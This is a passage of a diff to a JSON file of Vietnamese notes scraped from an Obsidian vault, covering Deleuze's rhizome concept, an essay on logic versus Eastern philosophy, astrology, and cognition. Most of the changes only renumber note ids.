giả thuyết:\n\t- Cái Một tuyệt đối, vượt trên tồn tại, không nắm bắt được, không nhận thức được, chỉ có trí tuệ mới biết được\n\t- Cái Một là tồn tại, đồng thời là cái nhiều, có thể nhận thức được\n\t- Cái Một tồn tại và không tồn tại. Nó thay đổi. Nó là khoảnh khắc\n### Đa tạp\nĐa tạp không phải là cái một, cũng không phải là cái nhiều. Nó không quy chiếu về một sự thống nhất có trước. Nó không có cả chủ thể lẫn đối tượng, mà chỉ là những xác định, những sự vĩ đại, những tầm quan trọng, tức là những gì không thể tiến triển nếu chúng không thay đổi bản chất.\n\nĐa tạp không bao giờ để cho mình bị mã hoá. Nó không bao giờ đứng yên, đông cứng. Và nó bình đẳng không có thứ bậc (Deleuze gọi là bằng phẳng trên cùng một bình diện) \nNhững cái đa tạp được định nghĩa bởi cái bên ngoài: nó thay đổi bản chất (giải lãnh thổ hoá) bằng cách kết nối với cái khác. VD:\n\n- Hoa lan giải lãnh thổ hoá bằng cách tự tạo hình ảnh của mình giống hình ảnh của con ong\n- Con ong tái lãnh thổ hoá trên hình ảnh hoa lan\n- Con ong giải lãnh thổ hoá bằng cách trở thành một phần trong bộ máy sinh sản của hoa lan. Nó thay đổi bản chất\nCả con ong và hoa lan tạo thành một rhizome\n## 4. Đứt gãy theo một cách thức không có ý nghĩa\nMột rhizome có thể bị cắt đứt, bị bẻ gãy tại bất kỳ điểm nào, và sau đó trở lại với một đường nào đó hoặc đi theo những đường khác\nVD: trong phòng họp một người rời khỏi phòng thì rhizome phòng họp vẫn ko bị mất đi\n\nMọi rhizome đều bao hàm những đường phân mảng theo đó chúng được phân tầng, được lãnh thổ hoá, được tổ chức, làm cho có ý nghĩa, được cung cấp, v.v. , và cũng bao hàm cả những đường giải lãnh thổ hoá theo đó chúng không ngừng lẩn trốn\n\nCó sự đứt gãy trong rhizome mỗi khi những đường phân mảng bùng nổ trong một đường lẩn trốn, nhưng đường lẩn trốn là một phần của rhizome. Những đường này không ngừng quy dẫn về nhau. Vì thế không bao giờ người ta có thể có một thuyết nhị nguyên hay nhị phân, thậm chí là dưới hình thức sơ đẳng của cái tốt và cái xấu. Các nhóm và các cá nhân mang trong mình thứ chủ nghĩa phát xít vi mô, họ chỉ đòi hỏi được kết tinh. Cái tốt và cái xấu chỉ có thể là kết quả của một lựa chọn chủ động và tạm thời, và luôn phải bắt đầu lại\n\n## 5 + 6. Bản đồ và đề can\nMô hình cây cấu trúc có trục phát sinh/cấu trúc chiều sâu. Cây liên kết và phân thành thứ bậc của những bản can: tái tạo, đồ lại, bắt chước thực tại. Rhizome xa lạ với điều đó. Nó là một bản đồ không mô phỏng lại thực tại mà kết nối mọi chiều kích của thực tại. Bản đồ mở, có thể tháo gỡ, đảo lộn, xé rách, thường xuyên thay đổi, và quan trọng nhất là có vô số lối vào.\n\nHoa lan không tái tạo bản can của con ong, nó tạo thành bản đồ cùng với con ong bên trong một rhizome. Nếu bản đồ đối lập với bản can, thì bởi nó hoàn toàn hướng tới một kinh nghiệm thu nhận được từ thực tế. Bản đồ không tái tạo một vô thức khép kín trên bản thân nó, bản đồ xây dựng nên vô thức ấy.\n\nSự khác biệt giữa phân tâm học (Freud) và phâ tích phân liệt (schizoanalyse) là sự khác biệt giữa bản can và bản đồ\n\n# Rhizome = cao nguyên\n- Deleuze-Guattari xem cao nguyên có hình thái ri-zôm.\n- Một cao nguyên luôn ở giữa, không đầu không cuối. Một rhizome được tạo thành từ các cao nguyên\nCao nguyên là một vùng cường độ liên tục, ngân rung trên chính nó, phát triển trong khi tránh hướng về một đỉnh cao nhất hoặc về một kết thúc ở bên ngoài \n- « Chúng tôi gọi « cao nguyên » là tất cả những cái đa tạp được kết nối với những cái khác bằng các thân rễ ngầm dưới đất và ở trên bề mặt, theo một cách thức để tạo ra và trải rộng một ri-zôm. Chúng tôi đã viết cuốn sách này [Mille Plateaux] như một ri-zôm. Chúng tôi đã cấu tạo nó bằng những cao nguyên… Mỗi cao nguyên được đọc ở bất kỳ chỗ  nào và có quan hệ với bất kỳ một cao nguyên khác. »\nRizôm về căn bản là một cách tư duy, một cách triết luận, một phương thức biểu đạt. Một cách thức nhận sự vật từ khoảng giữa.\n> Không dễ để nhận thức sự vật từ giữa, chứ không phải từ cao xuống thấp hay từ thấp lên cao, từ trái qua phải hay ngược lại: các bạn hãy thử cách này và sẽ thấy là tất cả sẽ thay đổi”\n\nRizôm cũng được sử dụng để chỉ một hình thức tổ chức, một cách thức vận hành hay một phương thức tồn tại của sự vật, sự việc.\n\n> Một rizôm không bắt đầu cũng chẳng kết thúc, nó luôn ở vùng giữa, giữa các vật, giữa tồn tại, đoạn chêm/xen vào. Cây có quan hệ dòng dõi, còn rizôm là liên minh, chỉ là liên minh mà thôi. Cây áp đặt động từ « là », còn ri-zôm được dệt từ các liên từ « và…và...và ». Trong liên từ này có đủ sức mạnh để làm lung lay và làm bật rễ động từ « là ». (Mille Plateaux, tr. 36)\n# Không có đối lập cây - rhizome \n- Rizôm là khái niệm được tạo ra để bổ sung cho mô hình tư duy của phương Tây, nhưng không có sự đối lập giữa hai mô hình này. Hai mô hình này không tạo thành một cặp nhị nguyên. \n- Có sự chuyển hóa giữa cây và ri-zôm: « có những cấu trúc cây hay cấu trúc rễ cọc trong ri-zôm, nhưng ngược lại, một cành cây hay một sự phân rễ cũng có thể đâm chồi thành ri-zôm…. Ở giữa một cái cây, ở hõm một cái rễ hay ở nách một nhành cây, có thể mọc mầm một ri-zôm mới. Hoặc đó là một phần nhỏ xíu của cây-rễ cọc, một cái rễ con, cũng bắt đầu tạo ri-zôm. » (Mille Plateaux, tr.23)​\n \n- Deleuze nhìn thấy ở nước Mỹ một phương Tây có tính ri-zôm, nước Mỹ thoát khỏi truyền thống phương Tây theo mô hình cây. Chính ở nước Mỹ là nơi diễn ra hiện tượng chuyển hóa từ cây thành ri-zôm, nơi mà cây tạo thành ri-zôm.​\n\n❓:: nếu trong rễ cọc có rhizome thì tại sao phải tới Deleuze thì rhizome mới được khám phá? Điều gì khiến cho rễ cọc sớm chiếm lĩnh được tư duy loài người như vậy? Nếu rhizome vừa là cách con người tư duy vừa là cách thế giới cấu trúc, vậy tại sao tư duy rhizome không sớm nhận thấy cấu trúc rhizome, còn tư duy rễ cọc lại dễ dàng nhận thấy cấu trúc rễ cọc? Phải chăng là chỉ đến khi các nhà thực vật học khám phá ra rhizome thì ta mới có từ vựng để miêu tả nó? \n❓:: Có bao nhiêu loại nhị phân? Em nghe nói nhị phân phương Tây cũng khác nhị phân phương Đông (mà điển hình là Đạo giáo) \n❓:: Tư duy nhị phân (binary, duality) có phải là một dạng phân loại (classification, categorization, taxonomy) không? Tư duy rhizome có loại trừ sự phân loại không hay chỉ loại trừ sự nhị phân? Sự gỡ bỏ phân loại có phải là rhizomification? Nó có giống như mối quan hệ giữa cấu trúc luận và hậu cấu trúc luận?\n❓:: nếu rhizome rồi cũng sẽ xảy ra từ cấu trúc, vậy thì có phải ta cũng không cần cố gắng tư duy như rhizome làm gì, mà cứ tiếp tục tư duy như rễ cọc là được? \n❓:: sự khác biệt giữa rhizome và mạng lưới là gì? Một rhizome các khái niệm khác gì với một mạng lưới các khái niệm? \n❓:: một ví dụ cho thấy sự kết hợp giữa rễ cọc và rhizome (VD: con ong - hoa lan, internet)\n❓:: cao nguyên là từng điểm trong rhizome, hay là toàn bộ rhizome? Cao nguyên trong cơn ong - hoa lan ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-02T17:36:00.000Z", + "Ngày cập nhật": "2024-09-02T17:37:00.000Z", + "id": "iH" }, { "Tiêu đề": "Dòng vốn từ Nhật, Hàn đến Việt Nam còn nhiều hơn ở phương Tây", @@ -41770,7 +45380,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-03T09:17:00.000Z", - "id": "eU" + "id": "iI" }, { "Tiêu đề": "Tiếng nói của các quốc gia nhỏ trong luật quốc tế đã được lắng nghe nhiều hơn", @@ -41786,7 +45396,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-20T09:17:00.000Z", - "id": "eV" + "id": "iJ" }, { "Tiêu đề": "Toàn cầu hoá là tiến trình chuyển dịch vốn, lao động, kỹ thuật, hàng hoá, tư tưởng và con người giữa những vùng đất, xã hội, văn hoá và kinh tế ở những chân trời khác nhau trên thế giới", @@ -41802,7 +45412,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-20T09:40:00.000Z", - "id": "eW" + "id": "iK" }, { "Tiêu đề": "Việc nhà nước đề kháng với sự ảnh hưởng phương Tây đã xem lại các quan điểm của mình về tôn giáo trước đây", @@ -41818,7 +45428,24 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-20T09:17:00.000Z", - "id": "eX" + "id": "iL" + }, + { + "Tiêu đề": "Có những người bài xích khoa học nhưng rất sợ bị nói là phản khoa học", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Tâm linh/Có những người bài xích khoa học nhưng rất sợ bị nói là phản khoa học", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Mô tả bài đăng": "Có những người suy luận logic là \"hý luận\", là \"hình thức\", là \"tuyến tính\", là \"cơ học\", nhưng rất sợ bị nói là \"phản khoa học\". Vì thế họ bám lấy mấy thứ \"lượng tử\", \"phi tuyến\", \"bất định\", \"bất toàn\" mà tán nhăng tán cuội theo ý mình, mặc dù chẳng hiểu chúng là gì, từ đâu ra.", + "Toàn bộ nội dung": "Khái niệm:: [[Triết học phương Đông]], [[Khoa học]], [[Logic]], [[Nhị nguyên]]\n# Logic, hình danh và âm dương\n1. Triết học phương Đông không thể tạo ra khoa học công nghệ được vì không có nhiều thứ, nhưng hiển nhiên và đơn giản nhất là do không có logic. Chính vì thế mà các loại tư tưởng gia nửa mùa ở Việt Nam, mới cho rằng suy luận logic là \"hý luận\", là \"hình thức\", là \"tuyến tính\", là \"cơ học\". Tóm lại là tất cả những gì mà khoa học cần có để phát triển. Nực cười ở chỗ họ chống và coi thường khoa học, nhưng rất sợ bị nói là \"phản khoa học\". Vì thế họ bám lấy mấy thứ \"lượng tử\", \"phi tuyến\", \"bất định\", \"bất toàn\" mà tán nhăng tán cuội theo ý mình, mặc dù chẳng hiểu chúng là gì, từ đâu ra. Họ cho rằng những thứ đó là phủ định logic. Và vì thế họ cho rằng Triết học phương Đông đã \"phát minh\" ra \"phi logic\" từ lâu. Cũng giống như người vượn hay con heo phát minh ra phi tư duy và phi khoa học vậy.\n\n2. Những nhà tư tưởng chân chính ở những nơi sinh ra và phát triển của Triết học phương Đông không nghĩ vậy. Ở Trung Quốc, lịch pháp được áp dụng và sửa đổi trên cơ sở khoa học từ thế kỷ 17, bởi Thang Nhược Vọng là một người Đức. Ta cứ gọi nhầm là âm lịch, thực tế là âm dương lịch. Tất nhiên giới sĩ phu Trung Quốc thời đó cũng chống báng ầm ĩ, nhưng rồi cũng phải tâm phục khẩu phục, vì đương nhiên là mùa màng biến chuyển phụ thuộc vào Mặt Trời. Có lẽ lúc đó, Trung Quốc mới bắt đầu biết tới tư duy theo lối logic. Họ gọi đó là \"la tập\"逻辑 . Đừng có suy luận chiết tự dài dòng nghĩa của \"la\" và \"tập\". La tập là phiên âm của chữ logic, đọc theo giọng quan thoại na ná như \"lâu chịch\" khá giống cách người Tây phương đọc chữ logic.\n\n3. Sau này, người Nhật, khi dịch các Tân thư (sách phương Tây) đã phải chế ra một từ Hán mới là \"luận lý\" (nhật chế hán ngữ) vì trong kho tàng tri thức học từ người Hán đâu có cái gì tương tự, để chỉ logic. Ở Trung Quốc thì tới năm 1902, Nghiêm Phục mới chính thức đưa ra 2 từ \"danh học\" để dịch ý và \"la tập\" để dịch âm. Phải nói, cuối thời Minh đến Thanh, \"la tập\" được cho là một bí kíp đáng kính nể giống như võ công của Minh giáo Ba tư trong tiểu thuyết của Kim Dung. Logic chỉ có sang Việt Nam mới bị khinh rẻ, chứ ở Trung, Nhật, Hàn, Đài,... không hề.\n\n4. Cố nhiên, tôi không có ý tuyệt đối hóa logic, bởi vì trong cuộc sống hay trong khoa học, logic không phải là duy nhất. Chúng ta không có một hệ tiên đề cố định, dù chúng ta phát hiện ra một số hệ tiên đề như thế nhưng chúng sẽ không ngừng mở rộng. Bên cạnh đó, có vô số chân lý ẩn, được thừa nhận bằng niềm tin, thói quen, cảm tính. Chúng ta yêu ghét, mua hàng, quyết định,... thậm chí sáng tạo khoa học không phải chỉ bằng logic, thậm chí không phải bằng tư duy lý luận nói chung. Nếu ai nghĩ rằng Einstein hay các nhà khoa học là các cỗ máy suy diễn tam đoạn luận \"nếu A thì B, nếu B thì C,...\" và ở cuối chuỗi tam đoạn luận đó họ đã thu được thuyết tương đối, lượng tử ánh sáng,... thì hoàn toàn nhầm. Trong đa số trường hợp, sáng tạo khoa học bắt nguồn từ trí tưởng tượng. Einstein đã hình dung ra thuyết tương đối rộng từ 1905 và loay hoay 10 năm để tìm cách diễn đạt ý tưởng bằng logic. Những gì người ta viết trong các sách giáo khoa chỉ là diễn đạt logic những điều Einstein đã phát hiện ra bằng tưởng tượng. Ở đó có những suy luận mà Einstein không hề biết tới.\n\n5. Mặc dù như vậy, khoa học không thể ra đời, Einstein không thể tư duy mà không có logic. Đã đành phát hiện chân lý khoa học không thể sinh ra chỉ dựa trên logic. Nhưng chân lý khoa học chỉ có thể được thừa nhận nhờ logic và bằng chứng thực nghiệm. Việc kiểm tra số liệu thực nghiệm cũng phải nhờ logic. Nếu chưa được kiểm nghiệm bằng logic, không có gì phân biệt giữa một phát hiện vĩ đại hay tưởng tượng điên rồ.\n\n6. Logic là một chuẩn mực để chúng ta có thể diễn đạt và công nhận ý tưởng của nhau. Nếu không có chuẩn mực này thì chúng ta mãi mãi bốc thuốc với lý luận âm dương tù mù. Thầy lang này có thể phán bệnh này là do hỏa thịnh, nhưng thầy lang khác cũng có thể phán là do thủy thịnh. Muốn thống nhất được, logic phải dựa trên các quy tắc hiển nhiên dựa trên ngôn ngữ với các từ \"và\", \"hoặc\", \"không\" có thể diễn đạt bằng sơ đồ tập hợp với các phép \"giao\", \"hợp\" và \"phủ định\" (lấy phần bù). Quy tắc suy diễn \"kéo theo\" hay \"suy ra\", chỉ đơn giản là điều đúng cho toàn bộ tập hợp thì cũng đúng với một bộ phận phần tử. Tam đoạn luận chẳng qua là dựa trên chân lý hiển nhiên \"bộ phận của bộ phận cũng là bộ phận của toàn thể\". Những chân lý này được sử dụng lặp đi lặp lại, nên được đúc kết sẵn thành quy để dùng cho dễ dàng, đỡ nói nhiều. Thế thôi. Chẳng có gì để tranh luận sai đúng ở đây. Điều quan trọng của logic là đơn giản và giúp loài người diễn đạt ý tưởng để truyền lại cho nhau. Một bộ phận được gọi là có suy nghĩ, có học, hay đọc sách, công nhận để không cãi cọ mất thời gian. Bộ phận khác, chẳng cần logic làm gì, họ chỉ cần công nhận điều bộ phận kia đã kiểm chứng.\n\n7. Với sự đơn giản và hiển nhiên như vậy, chúng ta đừng có nghĩ đến việc có một lý thuyết tân kỳ nào chứng minh là \"logic sai\". Đối với logic không có sai và đúng, chỉ có \"hợp lý\" hay \"không hợp lý\". Định lý Godel, bất đẳng thức Heisenberg, phương trình phi tuyến Navier-Stokes,.... đều không liên quan tới chuyện đúng sai của logic và đều phải dùng logic để diễn đạt và kiểm chứng. Điều đáng nghĩ là phạm vi áp dụng của logic. Chẳng hạn, với các tập hợp biến đổi theo thời gian, với các giả thiết sai, logic không thể cho ra kết luận đúng. Những phê phán về hạn chế của \"logic hình thức\" không phải là sẽ có một logic chính xác và tiện dụng hơn, mà là việc áp dụng sai với các phạm trù đã thay đổi, khái niệm vận động và các giả thiết sai. Tất nhiên, ngay từ thời mới hình thành logic đã có phép biện chứng ở trạng thái thô sơ để chỉ ra các giới hạn đó.\n\n8. Có người cho rằng logic dựa trên hai giá trị đúng sai, nên chính là Âm-Dương đã được các nhà Âm-Dương gia biết từ thời Chiến Quốc, do đó \"triết học phương Đông đã có đủ thứ\". Điều đó chưa kinh, họ còn cho rằng công nghệ thông tin, vốn dựa trên bit có 2 giá trị 0,1 cũng có sẵn trong triết học phương Đông. Không sáng tạo ra khoa học công nghệ chỉ vì .... không muốn thôi. Rồi có những suy luận kiểu, chân không chính là tính Không, vạn pháp bao gồm lý thuyết dây,... Đúng và sai chỉ là hai giá trị chân lý dùng trong logic, một chi tiết rất nhỏ. Giá trị chính của logic là ở các quan hệ, phép hình thành các mệnh đề phức hợp và phép suy luận. Những cái đó, âm dương gia không hề biết tới. Trâu Diễn, nhà âm dương gia tiêu biểu nhất, bị coi là viển vông, khó thi hành và không được coi trọng trong truyền thống tư tưởng Trung Quốc. Ở Hy Lạp, Heraclitus đã phát biểu về hai mặt đối lập trước Trâu Diễn 200 năm. Thậm chí, ông còn thấy được sự vận động liên tục và vĩnh cửu của sự vật, điều mà Trâu Diễn không hề nghĩ tới.\n\n9. Nghiêm Phục dịch ý logic thành \"danh học\", ngụ ý sự liên quan của logic tới phái \"hình danh gia\" của Đặng Tích, Công Tôn Long, Huệ Thi. Phái này có vẻ như muốn cố gắng tìm ra các quy tắc cho biện thuyết, lập luận nhưng cuối cùng chỉ đến được ngụy biện kiểu \"ngựa trắng không phải là ngựa\". Ngày nay chúng ta có thể coi đó là một kiểu paradox (Công Tôn Long có lẽ không nghĩ thế), mà Parmenides và Zeno đã biết tới trước đó 200 năm. Cho dù các hình danh gia có chút giá trị nào thì học giới của Trung Quốc đã phủ định họ sạch trơn. Tôi không nhớ ai, có lẽ là Tư Mã Thiên đã buộc tội họ là \"lấy phải làm trái, lấy trái làm phải làm đảo điên phải trái\". Tư tưởng chủ lưu phương Đông coi hình danh gia thấp kém, làm sao có thể phát triển đến mức độ như logic.\n\n10. Có một số ý kiến cho rằng logic có trong Lý học. Lý học phôi thai trong thế kỷ 11-12 với các học giả như Chu Đôn Di, Chu Hy, Trình Hạo. Nhưng học phái Chu Trình trở thành thiểu số, trong thế kỷ 16-17, khi phái Tâm học của Vương Dương Minh và phái Hồ Lưu trở nên tâm điểm của Lý học. Lý học được công nhận là quốc giáo của Trung, Nhật tới đầu thế kỷ 20. Lý học là \"học thuật nghiên cứu lý lẽ\", nếu theo quan điểm đạo Phật cũng là một loại \"hý luận\" do tính duy lý cứng nhắc của nó. Chính vì thế mà Lý học bài xích cả Phật giáo lẫn Đạo giáo. Nổi tiếng nhất là Hàn Dũ bài xích Phật giáo.\n\n11. Trên thực tế, Lý học cố gắng sửa chữa Phật giáo, Lão giáo và hàn gắn chúng vào một khung gọi là \"Tam giáo đồng nguyên\". Mặc dù, có người cho Lý học bắt nguồn từ Lão tử hay Kinh Dịch, thực ra có nhiều khác biệt cơ bản bên cạnh trùng lặp ngẫu nhiên. Nếu nhìn theo quan điểm ngày nay, Lý học là một cố gắng tư duy kiểu duy lý, có thể gần với truyền thống thần số học có từ Ai Cập, Ba Tư, Ấn Độ và Pythagoras. Tuy Lý học ra đời muộn hơn 1000 năm, nhưng Lý học không có được sự đơn giản và mạnh mẽ của logic. Do đó, Lý học không thể nào trở thành chuẩn để sinh ra khoa học trong hơn 1000 năm qua.\nNguồn:: [Aiviet Nguyen - Logic, hình danh và âm dương, 1.", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-04T07:58:00.000Z", + "Ngày cập nhật": "2024-09-04T08:17:00.000Z", + "id": "iM" }, { "Tiêu đề": "12 thiên can và 12 địa chi thực ra chỉ là hệ số đếm có tên chứ cũng chẳng có ý nghĩa gì", @@ -41834,7 +45461,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "eY" + "id": "iN" }, { "Tiêu đề": "Các khái niệm bị trộn lẫn vào nhau, nhưng lại có rất nhiều lớp phân loại", @@ -41850,7 +45477,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "eZ" + "id": "iO" }, { "Tiêu đề": "Cơ số 12 có vẻ tạo ra được nhiều tổ hợp đối xứng mà trí nhớ ngắn hạn xử lý được", @@ -41866,7 +45493,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "ea" + "id": "iP" }, { "Tiêu đề": "Hạn là giới hạn, hạn chế, không phải là điều tệ", @@ -41882,7 +45509,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "eb" + "id": "iQ" }, { "Tiêu đề": "Kinh dịch, ngũ hành, tử vi", @@ -41898,7 +45525,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "ec" + "id": "iR" }, { "Tiêu đề": "Nhân sự là con người và sự kiện", @@ -41914,7 +45541,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "ed" + "id": "iS" }, { "Tiêu đề": "Sự hấp dẫn nằm ở tính đối xứng", @@ -41930,7 +45557,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "ee" + "id": "iT" }, { "Tiêu đề": "Tử vi cho rằng thiên địa tương thông, nhưng rốt cuộc các sao chỉ là các khái niệm được cho trước chứ không phải là sao thật", @@ -41946,7 +45573,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "ef" + "id": "iU" }, { "Tiêu đề": "Tử vi có ý định dự báo số phận như thể là nó đã an bài không thay đổi được, mà là để dự đoán xem môi trường có thuận lợi cho những quyết định của một người hay không", @@ -41962,7 +45589,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "eg" + "id": "iV" }, { "Tiêu đề": "Tử vi lấy mô hình của triều đình phong kiến để phân loại", @@ -41978,7 +45605,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:59:00.000Z", - "id": "eh" + "id": "iW" }, { "Tiêu đề": "Vật lý và ẩn dụ liên ngành", @@ -41988,13 +45615,13 @@ "Mã dự án": "G1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Vật lý và ẩn dụ liên ngành\nVật lý có thể làm gì cho những ngành khác?\n\n## Trang web đang xây dựng 🚧\n\n\n\n\nVật lý, sinh học, nhận thức, triết học, nhân học\nVật lý, ẩn dụ, sự sống, nhân học, triết học\n", + "Toàn bộ nội dung": "# Vật lý và ẩn dụ liên ngành\nVật lý có thể làm gì cho những ngành khác?\n\n## Trang web đang xây dựng 🚧\n\n\n\n\nVật lý, sinh học, nhận thức, triết học, nhân học\nVật lý, ẩn dụ, sự sống, nhân học, triết học\n\nNhư những người mù sờ voi. Thì việc sờ thấy cái ngà và gọi là thì cũng là chuyện bình thường. ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-07T15:31:00.000Z", "Ngày cập nhật": "2024-08-31T18:36:00.000Z", - "id": "ei" + "id": "iX" }, { "Tiêu đề": "Crackpot là những người không có điều kiện để được đào tạo bài bản", @@ -42010,7 +45637,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:25:00.000Z", "Ngày cập nhật": "2024-08-12T07:09:00.000Z", - "id": "ej" + "id": "iY" }, { "Tiêu đề": "Các cuộc đối thoại chủ yếu ở tạp chí khoa học", @@ -42026,7 +45653,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T11:08:00.000Z", "Ngày cập nhật": "2024-08-31T18:31:00.000Z", - "id": "ek" + "id": "iZ" }, { "Tiêu đề": "Bản ngã chính là sự chú ý", @@ -42042,7 +45669,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:13:00.000Z", "Ngày cập nhật": "2024-09-01T07:06:00.000Z", - "id": "el" + "id": "ia" }, { "Tiêu đề": "Bản ngã là một tập hợp các mối quan tâm kết hợp với nhau", @@ -42058,7 +45685,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T14:14:00.000Z", "Ngày cập nhật": "2024-09-01T07:23:00.000Z", - "id": "em" + "id": "ib" }, { "Tiêu đề": "một nhóm các mối quan tâm sẽ trở thành bản ngã ngay vào lúc nó thể hiện sự kiểm soát đối với các mối quan tâm khác", @@ -42074,7 +45701,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-09-01T07:15:00.000Z", "Ngày cập nhật": "2024-09-01T07:15:00.000Z", - "id": "en" + "id": "ic" }, { "Tiêu đề": "Nguồn gốc của nhận thức là để thích nghi với môi trường tốt hơn", @@ -42090,7 +45717,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T11:24:00.000Z", "Ngày cập nhật": "2024-08-11T11:25:00.000Z", - "id": "eo" + "id": "id" }, { "Tiêu đề": "Sự chú ý là kết quả của các mối quan tâm cạnh tranh với nhau về nguồn tài nguyên chung", @@ -42106,7 +45733,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T14:17:00.000Z", "Ngày cập nhật": "2024-09-01T07:15:00.000Z", - "id": "ep" + "id": "ie" }, { "Tiêu đề": "❓Có sự đồng nhất giữa kích thích tâm lý và kích thích sinh lý", @@ -42122,7 +45749,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:04:00.000Z", "Ngày cập nhật": "2024-08-11T14:57:00.000Z", - "id": "eq" + "id": "if" }, { "Tiêu đề": "❓Mối quan hệ giữa kích thích sinh lý và kích thích tâm lý chính là mối quan hệ giữa hai góc nhìn về thông tin", @@ -42138,7 +45765,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:57:00.000Z", "Ngày cập nhật": "2024-08-11T15:00:00.000Z", - "id": "er" + "id": "ig" }, { "Tiêu đề": "❓Sự chú ý là để đạt được nhiều sự thoả mãn hơn", @@ -42154,7 +45781,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:53:00.000Z", "Ngày cập nhật": "2024-08-11T11:24:00.000Z", - "id": "es" + "id": "ih" }, { "Tiêu đề": "Các quá trình nhận thức được sinh ra nhằm tối ưu hoá việc tự sao", @@ -42170,7 +45797,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T18:54:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "et" + "id": "ii" }, { "Tiêu đề": "Hành vi của sinh vật chịu tác động bởi các kích thích từ môi trường, gồm kích thích sinh lý hoặc kích thích tâm lý", @@ -42186,7 +45813,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:22:00.000Z", "Ngày cập nhật": "2024-08-11T14:57:00.000Z", - "id": "eu" + "id": "ij" }, { "Tiêu đề": "Sự tiến hoá là để thích ứng tốt hơn với môi trường", @@ -42202,7 +45829,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:50:00.000Z", "Ngày cập nhật": "2024-08-11T14:55:00.000Z", - "id": "ev" + "id": "ik" }, { "Tiêu đề": "Thể tự sao là cách thức để đạt entropy nhanh nhất", @@ -42218,7 +45845,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T14:27:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "ew" + "id": "il" }, { "Tiêu đề": "Vũ trụ tạo ra sự sống để thúc đẩy tới cái chết nhiệt của mình", @@ -42234,7 +45861,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-04T07:49:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "ex" + "id": "im" }, { "Tiêu đề": "❓Các sinh vật không có các quá trình nhận thức chỉ có kích thích sinh lý, không có kích thích tâm lý", @@ -42250,7 +45877,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T14:19:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "ey" + "id": "in" }, { "Tiêu đề": "❓Mối quan hệ giữa tiến hoá, thích nghi, tối ưu hoá, chuyên môn hoá", @@ -42266,7 +45893,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:49:00.000Z", "Ngày cập nhật": "2024-08-11T14:56:00.000Z", - "id": "ez" + "id": "io" }, { "Tiêu đề": "❓Sự thoả mãn là việc đạt được kích thích có lợi cho sự tự sao", @@ -42282,7 +45909,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:55:00.000Z", "Ngày cập nhật": "2024-08-11T14:50:00.000Z", - "id": "e-" + "id": "ip" }, { "Tiêu đề": "Deleuze dao động tử", @@ -42298,7 +45925,7 @@ "Phương thức tạo": "Cào 